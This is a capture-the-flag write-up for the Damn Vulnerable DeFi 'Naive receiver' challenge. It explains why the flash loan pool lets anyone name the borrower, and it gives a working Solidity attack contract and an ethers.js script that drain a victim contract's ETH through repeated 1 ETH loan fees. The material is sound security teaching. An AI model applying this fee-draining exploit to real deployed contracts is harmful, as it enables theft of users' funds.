Overview#
Damn Vulnerable DeFi is a CTF game for learning Ethereum DeFi smart contract security.
The game covers various DeFi scenarios such as flash loans, price oracles, governance, non-fungible tokens (NFTs), decentralized exchanges (DEXs), lending pools, smart contract wallets, and time locks.
This CTF-like game is very suitable for beginners to learn solidity/ethers.js development.
Challenge description website: https://www.damnvulnerabledefi.xyz/
Challenge source code: https://github.com/tinchoabbate/damn-vulnerable-defi
Naive receiver#
Challenge description:
There’s a pool with 1000 ETH in balance, offering flash loans. It has a fixed fee of 1 ETH.
A user has deployed a contract with 10 ETH in balance. It’s capable of interacting with the pool and receiving flash loans of ETH.
Take all ETH out of the user’s contract. If possible, in a single transaction.
Analysis#
Explanation: The challenge is about a pool that offers flash loans, and a user has deployed a contract that can interact with the pool and receive flash loans of ETH. The objective is to drain all the ETH from the user's contract, if possible, in a single transaction.
First, let's take a look at the contract of the flash loan pool:
We can observe that the flash loan receiver (receiver) can be any contract that satisfies the IERC3156FlashBorrower interface, and it doesn't have to be the msg.sender of the transaction.
If we examine the contract deployed by the user, we can see that it already implements the IERC3156 standard. We just need to execute 10 flash loans on the user's deployed contract (each with a fee of 1 ETH, and the user initially deposited 10 ETH).
Solution#
The challenge requires us to perform the attack in a single transaction, so we need to deploy a contract.
AttackNaiveReceiver.sol
contract AttackNaiveReceiver {
NaiveReceiverLenderPool pool;
address public constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address owner;
constructor(address payable _pool, address _owner) {
pool = NaiveReceiverLenderPool(_pool);
owner = _owner;
}
function attack(address victim) public {
require(msg.sender == owner, "only owner can attack");
for (int i=0; i < 10; i++ ) {
pool.flashLoan(IERC3156FlashBorrower(victim), ETH, 0 ether, "");
}
}
}
In the JavaScript script, we deploy the contract and initiate the attack:
const attackContract = await ethers.getContractFactory('AttackNaiveReceiver', player);
const attack = await attackContract.deploy(pool.address, player.address);
await attack.attack(receiver.address);
Complete solution: https://github.com/fenghaojiang/damn-vulnerable-defi